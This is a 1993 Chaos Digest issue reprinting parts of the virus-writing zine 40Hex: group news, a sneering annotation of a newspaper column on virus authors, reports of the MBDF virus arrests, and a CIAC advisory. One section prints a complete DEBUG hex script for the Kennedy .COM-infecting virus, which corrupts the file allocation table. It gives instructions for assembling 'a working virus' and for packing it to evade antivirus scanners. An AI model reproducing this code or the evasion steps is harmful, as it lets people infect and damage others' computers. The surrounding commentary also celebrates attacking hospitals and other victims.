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- Chaos Digest Mercredi 9 Juin 1993 Volume 1 : Numero 49
- ISSN 1244-4901
-
- Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
- Archiviste: Yves-Marie Crabbe
- Co-Redacteurs: Arnaud Bigare, Stephane Briere
-
- TABLE DES MATIERES, #1.49 (9 Juin 1993)
- File 1--40H VMag Number 6 Volume 2 Issue 2 #005-008(1) (reprint)
-
- Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
- available at no cost by sending a message to:
- linux-activists-request@niksula.hut.fi
- with a mail header or first line containing the following informations:
- X-Mn-Admin: join CHAOS_DIGEST
-
- The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
- or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
- 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
- groups.
-
- Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
- 466893. Back issues of ChaosD can be found on the Internet as part of the
- Computer underground Digest archives. They're accessible using anonymous FTP:
-
- * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
- * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
- * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
- * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
- * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
- * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
- * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
- * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
-
- CHAOS DIGEST is an open forum dedicated to sharing French information among
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-
- DISCLAIMER: The views represented herein do not necessarily represent
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- assume all responsibility for ensuring that articles
- submitted do not violate copyright protections.
-
- ----------------------------------------------------------------------
-
- Date: Tue May 11 09:24:40 PDT 1993
- From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
- Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #005-008(1) (reprint)
-
-
- 40Hex Number 6 Volume 2 Issue 2 File 005
-
- I'm back, well kind of. Anyways, a lot of people have been
- asking, "What's going on with the group?" The question should be, "What's
- going on with any group these days?" It seems to me that 1992 was the death
- of h/p, or at least the "ice age" of it. Everybody was either getting busted
- or quitting the scene. Oh well, what can I say about it. Our group has been
- having bad luck too. Five (now six) busted as well as other assorted bad
- things happening to members.
-
- Anyways, what's going on with us, huh?. Well the reason you
- haven't heard much from us is because we haven't been releasing our new stuff
- to BBS systems (BBS system sounds as redundant as PIN number, I know) because
- we have a strong feeling that members of such groups as the CVIA are logging
- on to h/p boards in the hope of snatching the latest viruses. Well not much
- you can do about it if you run a BBS, unless you personnally know everyone
- who calls your board. But come to think of it - what good does it prove to
- release your newest creation to the general public (of the h/p crowd) via BBS
- system? Isn't that the same principle as the warez puppy scene? I guess you
- all can do whatever turns you on but we kind of decided that it would be in
- our best interests to release our stuff to BBS's only after they have been
- detected by the popular scanners or until they are kind of old. Not to fear,
- 40-HEX and "Dark Angel Phunky Writing Guide" will still be on boards at the
- same rate as always.
-
- As for all of you people bitching that no longer have sites
- and that we are dead, well your dead - wrong. The current sites are as
- follows (in no specific order) - Digital Warfare (yes it's back, at a new
- number however), Time Lords BBS (The U.S.S.R System), The Phunline (yes it's
- back), and the newest addition - Crow Technology. And as for us being dead
- yeah right.
-
- ** Note from DecimatoR:
- The U.S.S.R System recently went down, due to Time Lord getting into a little
- hot water. It WILL return however... we're just not sure when. **
-
- ** Note from GHeap:
- I am coming back, gimme mo' time!
-
- So now with that out of the way, on the other news. Hmmm...
- Michelangelo caused quite a scare there for a while. It was pretty cool
- to see John, Patti, and the rest of the crew on T.V... John Dvorak has a new
- half hour computer talk show on syndicated radio. I'm sure he wouldn't mind
- if we got on the show some time soon. Check your local radio guide for your
- local station and time... I am offering a standing bounty of $1,500 for the
- person willing to fly to Ohio and kick Crow Meisters ass for good. A minor
- would be preferred, being that he is under 18 and if I smashed him I could
- get sued or something. Just kidding, Crow Meister is cool with me,
- hihihihi... A new federal law is being considered which if passed will outlaw
- the authorship of computer viruses totally, research or not. Read more about
- that later in this issue... Hey, I might have a BBS up soon! I have been
- saying that for the past 2 years haven't I? Well that's the news as I see
- it, it's nice to be writing for this rag again.
-
- Check ya in 25 to life....
-
- Hellraiser P/S
- 1992
-
- This article was typed by Time Lord for HR cuz he is WAY too lazy to send me
- a disk in place of a fuckin print out...
-
- +++++
-
- 40Hex Number 6 Volume 2 Issue 2 File 006
-
- Well, this little news "tid-bit" came from Attitude Adjuster, one of the
- few non-PHALCON/SKISM contributers (ok, the ONLY non P/S member), Thanks a
- lot dude, keep the submissions coming. The article itself is quite sad,
- and makes me question the intelligence of our opposition.
-
- -)GHeap&Demo
- Thanx to CZ for THE line.
- ---------------------------------------------------------------------------
-
- - We need Computer Virus Snitches -
- Written By Mike Royko, Tribune Media Services.
- Retyped by The Attitude Adjuster
-
- ===========================================================================
- Millions of computer users are wondering how to protect themselves
- against the wave of viruses that are threatening their machines. I have a
- suggestion.[So do I, avoid Bnu 1.90Beta]
-
- First, they should remember that these viruses don't spring from
- nature. They are little computer programs that are created and sent on
- their way by people that are brainy, malicious and arrogant.[I am not
- brainy]
-
- So, the question is, how do you find the creators of computer
- virus programs?
-
- Because they are arrogant, it's likely that they want someone to
- know what a clever thing they have done. They won't hold a press conference
- [Actually, we do hold press conferences.See MichaelAlexander@Computerworld]
- but chances are they will brag to a trusted friend or acquaintance or
- fellow hacker.
-
- It is sad, but the world is full of snitches.[Get a thesaurus] Look
- at John Gotti, the nation's biggest Mafia boss. There was a time when it
- was unthinkable for even the lowest-level Mafia soldier to blab. But now
- Gotti has to sit in court while his former right-hand man tells about how
- they got people whacked. [We whack people too]
-
- So if Mafia figures can be persuaded to tattle[Na-na-na-na-na], is
- there any reason to believe that nerds have a greater sense of honor and
- loyalty? [Yes, we also have brains]
-
- Of course[.] not, but how do you get them to do it?
-
- Money. [Now yer talking... my mom is really the Dark Avenger, I want
- my money now.]
-
- These companies [what companies, I only hit hospitals] could use
- petty cash to place ads in the computer magazines and on the electronic
- bulletin boards. [Ok, call my BBS and post this tidbit. 40Hex now has ad
- space available]
-
- The ads would say something like: "A $50,000 reward for any
- information leading to the arrest and conviction of virus authors."
-
- [How can you convict a virus author. It isn't illegal. Go play Tank Wars.]
-
- The next question would be what to do with the virus makers once
- they have been caught. And that's the key to putting an end to the
- problem: something that could be posted on those electronic bulletin
- boards that might cause an aspiring virus-maker to go take a brisk walk
- instead.
-
- A judge would sit and listen to an attorney who would say some-
- thing like this:
-
- "Your honor, what we have here is an otherwise fine young man
- from a good family. His father is a brilliant scholar, and the son will
- someday be the same."[I am going to be a certified scholar when I grow up.]
-
- "What he did was no more than an intellectual prank, a cerebral
- challenge of sorts. Like the man who climbed Mount Everest because it was
- there, he created the virus and sent it fourth because it was there."
-
- Then, we can hope, the judge might say something like this:
-
- "Yes, I am impressed by the defendant's brain power. And I
- expected you to ask me to give him a slap on the wrist."
-
- "However, he is not a child. He is an adult. And I would think
- that so brilliant a grown man would know better than to amuse himself
- by screwing with the lives of strangers." [I haven't screwed one stranger]
-
- "It's as if he hid inside the businesses and institutions until
- they were closed and everyone had gone home. Then he came out and went
- through every filing cabinet and drawer and shredded or burned every bit
- of useful information he could find."[Cool! Lets try it.]
-
- "Now, counselor, what would you and your law partners say is some
- street mope [See Thesaurus] did that to your firm - crept in and destroyed
- every document in your offices? Including the names of clients that owe you
- money. Hah, you would be in here asking me to hang him from a tree."[I love
- hanging from trees]
-
- "So don't give me that smart kid from a good family routine.
- [I ain't smart, and family ain't good] He is a self-centered, insensitive,
- uncaring, arrogant goofball [And damn proud]. He didn't give a second
- thought to the chaos or heartbreak he would cause an adoption agency, a
- hardworking businessman or a medical clinic." [Yes I did. I aim for them.]
-
- "Therefore, I sentence him to the maximum sentence the law allows
- in the local jailhouse [0, NUL, ZIP-o, /dev/null, etc..], which is a really
- terrible place, filled with all sorts of crude, insensitive hulks."
- [Jay-walkers]
-
- "Bailiff, please get the defendent up off the floor and administer
- some smelling salts."[More like, why is the defendant laughing?]
-
- "And change his trousers, quickly."[Fuck you]
-
- []comments added by Demogorgon and GHeap
-
- ===========================================================================
-
-
- I hope you enjoyed that one as much as I did! Okay, I
- see some really neat things with this man's article. First off,
- I'm sure he's an adept programmer... that is, he can probably
- figure out how to get his VCR to tape something while he is
- off writing his brilliant articles. I enjoy his narrow-minded
- definition of virii (that was mentioned in 40Hex 5), of course,
- all virii are those evil overwriting, trigger date, resident,
- boot track infecting swine (yeah, he probably learned what a
- virus was from watching ABC News covering the Michaelangelo
- crisis!)
-
- I also enjoy his opinion that all virus authors are
- nerds. First off, what the hell is a nerd? I mean, I have
- written a virus before (not saying it was any good), but, I
- don't feel like a nerd! In fact, I feel quite superior to
- most of the idiots like this guy. And, I like his great
- statement about my loyalty. Yes, I'm gonna narc on [PHALCON/
- [Forget this again, and die]]SKISM for $50,000!!! Yeah, right.
- There are a lot of narcs on this not-so good earth, so choose
- your friends wisely.
-
- I'm quite sure that ads on BBS's (electronic bulletin
- boards! No... cork ones!) would just sufficiently pump up user
- discussion of virii. I'm not scared of fed intervention, and
- I doubt any authors I know are either.
-
- This was touched on in 40Hex 5, virus authors are not
- responsible for the spread of their virii unless they are
- actively spreading them! I mean, it's not my fault that K-Rad
- Man sent my Hard Drive Blender (slices, dices, minces sectors)
- to 1000 Bible boards in Utah. Apparently it hasn't dawned on
- this guy that most virii are not written to be destructive.
- Actually, that's a lie. There are a lot of virii out there that
- are descructive, but that is changing. People like the
- PHALCON/SKISM crew realize that not everything must be
- destructive, opening the doors to much larger virus projects
- (ie Bobisms)
-
- One more thing... QUIT EQUATING THE WORD 'hacker' TO
- EVERY DAMN TYPE OF ELECTRONIC 'crime!!!'
-
- I'm gonna get this dude's phone #, I say we call him
- sometime...
-
- -The Attitude Adjuster-
-
- +++++
-
- 40Hex Number 6 Volume 2 Issue 2 File 007
-
- Lets see what good ole' Patty has to say about this:
-
- Virus Name: Kennedy
- Aliases: Dead Kennedy, 333, Kennedy-333
- Scan ID: [Kennedy]
- V Status: Endangered
- Discovered: April, 1990
- Symptoms: .COM growth; message on trigger dates (see text);
- crosslinking of files; lost clusters; FAT corruption
- Origin: Denmark
- Eff Length: 333 Bytes
- Type Code: PNCKF - Parasitic Non-Resident .COM Infector
- Detection Method: ViruScan, Pro-Scan, VirexPC, F-Prot, VirHunt 2.0+,
- NAV, IBM Scan 2.00+, AVTK 4.32+, VIRx 1.6+, CPAV 1.0+,
- Novi 1.0.1+, Sweep 2.3.1+, UTScan
- Removal Instructions: F-Prot, VirHunt 2.0+, or delete infected files
- General Comments:
-
- The Kennedy virus was isolated in April 1990. It is a generic
- infector of .COM files, including COMMAND.COM.
-
- This virus has three activation dates: June 6 (assassination of
- Robert Kennedy 1968), November 18 (death of Joseph Kennedy 1969),
- and November 22 (assassination of John F. Kennedy 1963) of any year.
- On activation, the virus will display a message the following
- message:
-
- "Kennedy is dead - long live 'The Dead Kennedys'"
-
- The following text strings can be found in the viral code:
-
- "\command.com"
- "The Dead Kennedys"
-
- Systems infected with the Kennedy virus will experience
- cross-linking of files, lost clusters, and file allocation table
- errors (including messages that the file allocation table is bad).
-
-
- --------------------------------Cut Here------------------------------------
- n kennedy.com
- e 0100 E9 0C 00 90 90 90 CD 20 4B 65 6E 6E 65 64 79 E8
- e 0110 00 00 5E 81 EE 0F 01 8B AC 0B 02 B4 2A CD 21 81
- e 0120 FA 06 06 74 28 81 FA 12 0B 74 22 81 FA 16 0B 74
- e 0130 1C 8D 94 0D 02 33 C9 B4 4E CD 21 72 09 E8 17 00
- e 0140 72 04 B4 4F EB F3 8B C5 05 03 01 FF E0 8D 94 20
- e 0150 02 B4 09 CD 21 EB EF B8 00 43 BA 9E 00 CD 21 89
- e 0160 8C 55 02 B8 01 43 33 C9 CD 21 B8 02 3D CD 21 8B
- e 0170 D8 B4 3F 8D 94 52 02 8B FA B9 03 00 CD 21 80 3D
- e 0180 E9 74 05 E8 7E 00 F8 C3 8B 55 01 89 94 0B 02 33
- e 0190 C9 B8 00 42 CD 21 8B D7 B9 02 00 B4 3F CD 21 81
- e 01A0 3D 65 64 74 DE 33 D2 33 C9 B8 02 42 CD 21 83 FA
- e 01B0 00 75 D0 3D E8 FD 73 CB 05 04 00 89 84 5B 02 B8
- e 01C0 00 57 CD 21 89 8C 57 02 89 94 59 02 B4 40 8D 94
- e 01D0 05 01 B9 4D 01 CD 21 72 15 B8 00 42 33 C9 BA 01
- e 01E0 00 CD 21 B4 40 8D 94 5B 02 B9 02 00 CD 21 8B 8C
- e 01F0 57 02 8B 94 59 02 B8 01 57 CD 21 B4 3E CD 21 E8
- e 0200 02 00 F9 C3 B8 01 43 8B 8C 55 02 CD 21 C3 03 00
- e 0210 2A 2E 43 4F 4D 00 5C 43 4F 4D 4D 41 4E 44 2E 43
- e 0220 4F 4D 00 4B 65 6E 6E 65 64 79 20 65 72 20 64 9B
- e 0230 64 20 2D 20 6C 91 6E 67 65 20 6C 65 76 65 20 22
- e 0240 54 68 65 20 44 65 61 64 20 4B 65 6E 6E 65 64 79
- e 0250 73 22 0D 0A 24 00 00 00 00 00 00 00 00 00 00 00
- e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
- e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
- rcx
- 027F
- w
- q
-
- ---------------------------------Cut Here-----------------------------------
-
- Ok there it is. Not the most impressive virus around and its caught by just
- about every scan on the market, but take PKLite to it and then remove the
- PKLite header (Use NOLITE in this issue) and no one will be able to find it.
- Anyway it gets the job done.
-
- To make the above hex into a working file, first cut on the dotted lines.
- Name the resulting file KENNEDY.TXT.
- Then: DEBUG < KENNEDY.TXT and you'll have a working virus.
-
- -Instigator
-
- +++++
-
- 40Hex Number 6 Volume 2 Issue 2 File 008
-
- Take a look at this. I picked it up on fidonet, originally from Virus-L
- digest. all the stuff in *< >*'s are my comments.
- - Demogorgon
-
- ------------------------------
- VIRUS-L Digest Wednesday, 26 Feb 1992 Volume 5 : Issue 44
- ------------------------------
-
- Date: Tue, 25 Feb 92 10:10:14 -0500
- >From: mha@baka.ithaca.ny.us (Mark Anbinder)
- Subject: MBDF Suspects Arrested (Mac)
-
- The Cornell Daily Sun reported in this morning's issue that two
- Cornell University sophomores, David Blumenthal and Mark Pilgrim, were
- arrested Monday evening and arraigned in Ithaca City Court on one
- count each of second degree computer tampering, in connection with the
- release of the MBDF virus that infected Macs worldwide over the last
- several days. The two are being held in Tompkins County Jail.
- *< huh? How does one get arrested for spreading a virus, you ask? read on >*
- Further charges are pending.
-
- ---
- ** many lines of mail routing crap have been deleted **
-
- Date: Tue, 25 Feb 1992 11:47:32 PST
- >From: lipa@camis.stanford.edu (Bill Lipa)
- Subject: Alleged MBDF virus-creators arrested at Cornell
-
- "Computer Virus Traced to Cornell Students"
-
- by Jeff Carmona
-
- [The Cornell Daily Sun, 25 February 1992]
-
- Two Cornell students were arrested yesterday for allegedly creating and
- launching *< launching ? Bon voyage, we launched you !>* a computer virus
- that crippled computers around the world, according to M. Stuart Lynn, the
- University's vice president for information technologies.
-
- David Blumenthal '94 and Mark Pilgrim '94 were arrested by Department of
- Public Safety officers and arraigned in Ithaca City Court on one count of
- second-degree computer tampering, a misdemeanor, *< cool, its only a
- misdemeanor, how bad could it be ? >* Lynn said.
-
- Both students were remanded to the Tompkins County Jail and remained in
- custody early this morning. They are being held on $2,000 cash or $10,000
- bail bond, officials said.
-
- Cornell received national attention in Nov. 1988 when Robert T. Morris
- Jr., a former graduate student, was accused of unleashing a computer virus
- into thousands of government and university computers.
-
- Morris, convicted under the 1986 Computer Fraud and Abuse Act, was fined
- $10,000, given a three-year probation and ordered to do 400 hours of
- community service by a federal judge in Syracuse, according to Linda Grace-
- Kobas, *< Whats a Koba?? >* director of the Cornell News Service.
-
- Lynn would not compare the severity of the current case with Morris',
- saying that "each case is different."
-
- Lynn said the virus, called "MBDFA" was put into three Macintosh games --
- Obnoxious Tetris, Tetriscycle and Ten Tile Puzzle.
-
- On Feb. 14, the games were launched from Cornell to a public archive at
- Stanford University in Palo Alto, Calif, Lynn said.
-
- *< I guess these guys actually put it up on the archive under their own >*
- *< accounts! Don't they know they can trace that stuff? duhhh... >*
-
- >From there, the virus spread to computers in Osaka, Japan and elsewhere
- around the world *< the archive was a dumb idea if thats how they got caught,
- but it spread like hell >* when users connected to computer networks via
- modems, he added. It is not known how many computers the virus has affected
- worldwide, he explained.
-
- When computer users downloaded the infected games, the virus caused "a
- modification of system software," *< oooh...lets not get too technical >* Lynn
- said. "This resulted in unusual behavior and system crashes," he added.
-
- Lynn said he was not aware of anyone at Cornell who reported finding the
- virus on their computers.
-
- The virus was traced to Cornell last Friday, authorities were quickly
- notified and an investigation began, Lynn said.
-
- "We absolutely deplore this kind of bahavior," Lynn said. "We will pursue
- this matter to the fullest."
-
- Armed with search warrants, Public Safety investigators removed more than
- a dozen crates full of evidence from the students' residences in Baker and
- Founders halls on West Campus. *< sounds like a typical, over-kill bust to
- me. If you don't know what it is, take it. >*
-
- Public Safety officials refused to disclose the contents of the crates or
- issue any comment about the incident when contacted repeatedly by phone last
- night. *< thats because they don't know what the fuck the stuff is >*
-
- "We believe this was dealt with very quickly and professionally," Lynn
- said.
-
- The suspects are scheduled to appear in Ithaca City Court at 1 p.m. today
- and additional charges are pending, according to Grace-Kobas.
-
- Because spreading a computer virus violates federal laws, "conceivably,
- the FBI could be involved," she added. Officials with the FBI could not be
- reached to confirm or deny this.
-
- Blumenthal and Pilgrim, both 19-year-olds, were current student employees
- at Cornell Information Technologies (CIT), Lynn said. He would not say
- whether the students launched the virus from their residence hall rooms or
- >From a CIT office.
-
- Henrik N. Dullea '61, vice president for University relations, said he
- thinks "the act will immediately be associated with the University," not
- only with the individual students charged.
-
- Because a major virus originated from a Cornell student in the past, this
- latest incident may again "bring a negative reaction to the entire
- institution," Dullea said. *< "blah, blah, blah" >*
-
- "These are very selfish acts," Lynn said, referring to the intentional
- distribution of computer viruses, because innocent people are harmed.
-
- Lynn said he was unaware of the students' motive for initiating the virus.
- Lynn said CIT put out a notice yesterday to inform computer users about the
- "very virulent" virus. A virus-protection program, such as the new version of
- Disinfectant, can usually cure computers, but it may be necessary to "rebuild
- the hard drive" *< egad! Not the dreaded "virus-that-makes-you-rebuild-your-
- hard-drive" !>* in some cases, he added.
-
- A former roommate of Blumenthal said he was not surprised by news of the
- arrest. Computers were "more than a hobby" for Blumenthal, said Glen Fuller
- '95, his roommate from last semester. "He was in front of the computer all
- day," Fuller said.
-
- Blumenthal, who had a modem, would "play around with viruses because they
- were a challenge to him," Fuller said. He said that, to his knowledge,
- Blumenthal had never released a virus before.
-
- -->-<------ Cut Here --------------------------
-
- ------------------------------
- VIRUS-L Digest Friday, 28 Feb 1992 Volume 5 : Issue 46
- ------------------------------
-
- Date: Wed, 26 Feb 92 11:08:45 -0800
- >From: karyn@cheetah.llnl.gov (Karyn Pichnarczyk)
- Subject: CIAC Bulletin C-17: MBDF A on Macintosh (Mac)
-
- NO RESTRICTIONS
- _____________________________________________________
- The Computer Incident Advisory Capability
- ___ __ __ _ ___
- / | / \ /
- \___ __|__ /___\ \___
- _____________________________________________________
- INFORMATION BULLETIN
-
- New Virus on Macintosh Computers: MBDF A
-
- February 25, 1992, 1130 PST Number C-17
-
- ________________________________________________________________________
- NAME: MBDF A virus
- PLATFORM: Macintosh computers-except MacPlus and SE (see below)
- DAMAGE: May cause program crashes
- SYMPTOMS: Claris applications indicate they have been altered; some
- shareware may not work, unexplained system crashes
- DETECTION &
- ERADICATION: Disinfectant 2.6,Gatekeeper 1.2.4, Virex 3.6,
- VirusDetective 5.0.2, Rival 1.1.10, SAM 3.0
- ________________________________________________________________________
- Critical Facts about MBDF A
-
- A new Macintosh virus, MBDF A, (named for the resource it exploits)
- has been discovered. This virus does not appear to maliciously cause
- damage, but simply copies itself from one application to another.
- MBDF A was discovered at two archive sites in newly posted game
- applications, and has a high potential to be very widespread.
-
- Infection Mechanism
-
- This virus is an "implied loader" virus, and it works in a similar
- manner to other implied loader viruses such as CDEF and MDEF. Once
- the virus is active, clean appliacation programs will become infected
- as soon as they are executed. MBDF A infects only applications, and
- does not affect data files. This virus replicates under both System 6
- and System 7. While MBDF A may be present on ALL types of Macintosh
- systems, it will not spread if the infected system is a MacPlus or a
- Mac SE (although it does spread on an SE/30).
-
- Potential Damage
-
- The MBDF A virus has no malicious damaging characteristics, however,
- it may cause programs to inexplicably crash when an item is selected
- from the menu bar. Some programs, such as the shareware
- "BeHierarchic" program, have been reported to not operate correctly
- when infected. Applications written with self-checking code, such as
- those written by the Claris corporation, will inform the user that
- they have been altered.
-
- When MBDF A infects the system file, it must re-write the entire
- system file back to disk; this process may take two or three minutes.
- If the user assumes the system has hung, and reboots the Macintosh
- while this is occuring, the entire system file will be corrupted and
- an entire reload of system software must then be performed.
-
- This virus can be safely eradicated from most infected programs,
- although CIAC recommends that you restore all infected files from an
- uninfected backup.
-
- ------------------------------
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- End of Chaos Digest #1.49
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